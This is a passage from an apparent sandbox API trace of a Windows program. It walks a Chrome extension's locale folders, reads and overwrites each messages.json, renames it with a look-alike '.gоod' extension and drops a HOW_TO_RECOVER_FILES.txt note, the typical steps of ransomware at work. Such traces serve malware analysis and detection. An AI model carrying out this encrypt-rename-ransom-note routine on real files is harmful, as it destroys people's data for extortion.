lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0237.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0237.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0237.978] GetFileType (hFile=0x828) returned 0x1 [0237.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0237.978] GetFileType (hFile=0x828) returned 0x1 [0237.978] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xb2 [0237.978] ReadFile (in: hFile=0x828, lpBuffer=0x37ab508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37ab508*, lpNumberOfBytesRead=0x209ebc98*=0xb2, lpOverlapped=0x0) returned 1 [0237.979] CloseHandle (hObject=0x828) returned 1 [0238.159] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0238.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0238.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0238.161] GetFileType (hFile=0x828) returned 0x1 [0238.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0238.161] GetFileType (hFile=0x828) returned 0x1 [0238.161] WriteFile (in: hFile=0x828, lpBuffer=0x36cb760*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x36cb760*, lpNumberOfBytesWritten=0x209ebba8*=0xc0, lpOverlapped=0x0) returned 1 [0238.162] CloseHandle (hObject=0x828) returned 1 [0238.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0238.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0238.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0238.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe835f6df, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a2b1c9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0238.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0238.162] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json.gоod")) returned 1 [0238.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0238.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0238.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0238.164] GetFileType (hFile=0x828) returned 0x1 [0238.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0238.164] GetFileType (hFile=0x828) returned 0x1 [0238.165] WriteFile (in: hFile=0x828, lpBuffer=0x36cf0b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x36cf0b0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0238.166] CloseHandle (hObject=0x828) returned 1 [0238.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0238.166] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US", lpFilePart=0x0) returned 0x7e [0238.166] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8372f77, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe837f2eb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe837f2eb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0238.166] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8372f77, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe837f2eb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe837f2eb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.167] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe837f2eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83819b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0238.167] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0238.167] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0238.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0238.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0238.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0238.167] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US", lpFilePart=0x0) returned 0x7e [0238.167] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8372f77, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe837f2eb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe837f2eb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0238.167] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8372f77, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe837f2eb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe837f2eb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.167] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe837f2eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83819b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0238.168] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe837f2eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83819b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0238.168] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0238.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0238.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0238.168] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0238.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0238.168] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x36df150 | out: lpFileInformation=0x36df150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe837f2eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83819b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x109)) returned 1 [0238.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0238.169] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0238.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0238.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0238.169] GetFileType (hFile=0x828) returned 0x1 [0238.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0238.169] GetFileType (hFile=0x828) returned 0x1 [0238.169] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x109 [0238.169] ReadFile (in: hFile=0x828, lpBuffer=0x36df628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x36df628*, lpNumberOfBytesRead=0x209ebc98*=0x109, lpOverlapped=0x0) returned 1 [0238.170] CloseHandle (hObject=0x828) returned 1 [0238.617] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0238.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0238.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.618] GetFileType (hFile=0x860) returned 0x1 [0238.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0238.618] GetFileType (hFile=0x860) returned 0x1 [0238.618] WriteFile (in: hFile=0x860, lpBuffer=0x3809f30*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3809f30*, lpNumberOfBytesWritten=0x209ebba8*=0x110, lpOverlapped=0x0) returned 1 [0238.619] CloseHandle (hObject=0x860) returned 1 [0238.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0238.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0238.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0238.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe837f2eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83819b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a70401c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0238.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0238.620] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json.gоod")) returned 1 [0238.620] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0238.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0238.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0238.621] GetFileType (hFile=0x860) returned 0x1 [0238.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0238.621] GetFileType (hFile=0x860) returned 0x1 [0238.622] WriteFile (in: hFile=0x860, lpBuffer=0x380d880*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x380d880*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0238.623] CloseHandle (hObject=0x860) returned 1 [0238.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0238.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es", lpFilePart=0x0) returned 0x7b [0238.623] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe839526d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839eec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe839eec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0238.624] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe839526d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839eec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe839eec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.624] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe839eec2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839ee72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0238.624] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 